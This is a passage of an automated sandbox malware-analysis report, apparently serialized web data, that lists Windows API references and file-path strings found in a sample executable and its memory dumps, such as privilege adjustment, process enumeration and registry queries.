"CreateCompatibleBitmap"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")66:T5f7,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")67:T10bd,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00005528.00000002.68940.004D1000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "3Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")68:T8ab,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")69:T51c,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00005528.00000002.68940.004D1000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")6a:T4f1,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")6b:Tfe4,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")6c:T414,Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")6d:T817,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "6vx5my2.exe.3132430354") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "6vx5my2.exe.3132430354") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")6e:T15eb,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00003032.00000000.76113.00800000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00003032.00000000.76113.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00003032.00000000.76113.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00003032.00000000.76113.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00003032.00000000.76113.00800000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003032.00000000.76113.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP001.TMP\6vx5my2.exe" (Indicator: "\Device\"; Source: "00000000-00004104.00000000.69290.00ADC000.00000040.mdmp, 00000000-00004104.00000002.73135.00ADC000.00000040.mdmp, 00000000-00004104.00000003.75745.00ADC000.00000040.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found string "indows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP002.TMP\2kJ9830.exe" (Indicator: "\Device\"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp")6f:T8dc,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00005176.00000000.65705.010D1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005176.00000000.65705.010D1000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")70:Td62,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")71:T7b0,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 